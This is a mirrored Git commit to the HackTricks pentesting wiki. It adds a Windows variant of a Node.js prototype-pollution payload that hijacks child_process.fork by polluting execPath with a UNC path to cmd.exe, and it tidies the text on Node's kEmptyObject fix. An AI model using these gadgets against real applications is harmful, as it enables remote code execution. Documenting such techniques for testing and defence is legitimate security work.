mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#3639] No subject
This commit is contained in:
parent
cafa99f9de
commit
a69eb0b9c0
1 changed files with 8 additions and 2 deletions
|
@ -256,6 +256,12 @@ b.__proto__.execPath = "/bin/sh"
|
|||
b.__proto__.argv0 = "/bin/sh"
|
||||
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
|
||||
var proc = fork('./a_file.js');
|
||||
|
||||
//With a Windows Remote payloadPayload
|
||||
const { fork } = require('child_process');
|
||||
b = {}
|
||||
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\cmd.exe"
|
||||
var proc = fork('./a_file.js');
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
@ -612,10 +618,10 @@ However, as the previous **`child_process`** methods, it has been **fixed** in t
|
|||
|
||||
Please, note that prototype pollution works if the **attribute** of an object that is being accessed is **undefined**. If in the **code** that **attribute** is **set** a **value** you **won't be able to overwrite it**.
|
||||
|
||||
In Jun 2022 from [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) the var `options` instead of a `{}` is a **`kEmptyObject`**. Which **prevents a prototype pollution** from affecting the **attributes** of **`options`** to obtain RCE.\
|
||||
In Jun 2022 from [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) the var `options` instead of a `{}` is a **`kEmptyObject`**. Which **prevents a prototype pollution** from affecting the **attributes** of **`options`** to obtain RCE.\
|
||||
At least from v18.4.0 this protection has been **implemented,** and therefore the `spawn` and `spawnSync` **exploits** affecting the methods **no longer work** (if no `options` are used!).
|
||||
|
||||
In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject` ** instead of **`{}`.**
|
||||
In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to \*\*`kEmptyObject` \*\* instead of **`{}`.**
|
||||
|
||||
## References
|
||||
|
||||
|
|
Loading…
Reference in a new issue